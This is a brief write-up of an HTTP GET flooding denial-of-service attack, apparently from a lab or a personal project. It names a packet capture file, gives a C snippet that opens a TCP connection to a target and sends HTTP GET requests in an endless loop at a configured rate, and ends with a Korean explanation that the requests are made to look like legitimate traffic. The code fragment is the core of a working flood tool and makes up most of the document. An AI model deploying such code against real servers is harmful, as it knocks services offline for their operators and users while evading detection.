Wireshark Capture
210301_get.pcapng

Code Implementation
// make tcp connection
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1) {
perror("sock creation failed\\n");
}
struct sockaddr_in servaddr;
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(g_get_dest_ip);
servaddr.sin_port = htons(g_get_dest_port_start);
if (connect(sock, (struct sockaddr *)&servaddr, sizeof(servaddr)) != 0) {
perror("connect failed\\n");
}
while (1) {
// wait a second
if (g_get_num_generated_in_sec >= g_get_request_per_sec) {
pthread_cond_wait(&g_get_cond, &g_get_mutex);
}
// time checking
time_check(&g_get_mutex, &g_get_cond, &g_get_before_time, &g_get_now_time, &g_get_num_generated_in_sec);
// send packet
send(sock, g_get_request_msg, strlen(g_get_request_msg), 0);
//printf("%lu Get msg sent\\n", g_get_num_generated_in_sec);
}
How it works
- 기존의 Connection Flooding Attack과 TCP Connection을 맺는다는 점에서 동일하지만 연결이 성공적으로 설립된 다음 정상적인 Transaction으로 보이는 HTTP Get Method를 전송하여 정상적인 트래픽인 것처럼 보이도록 하는 공격이다.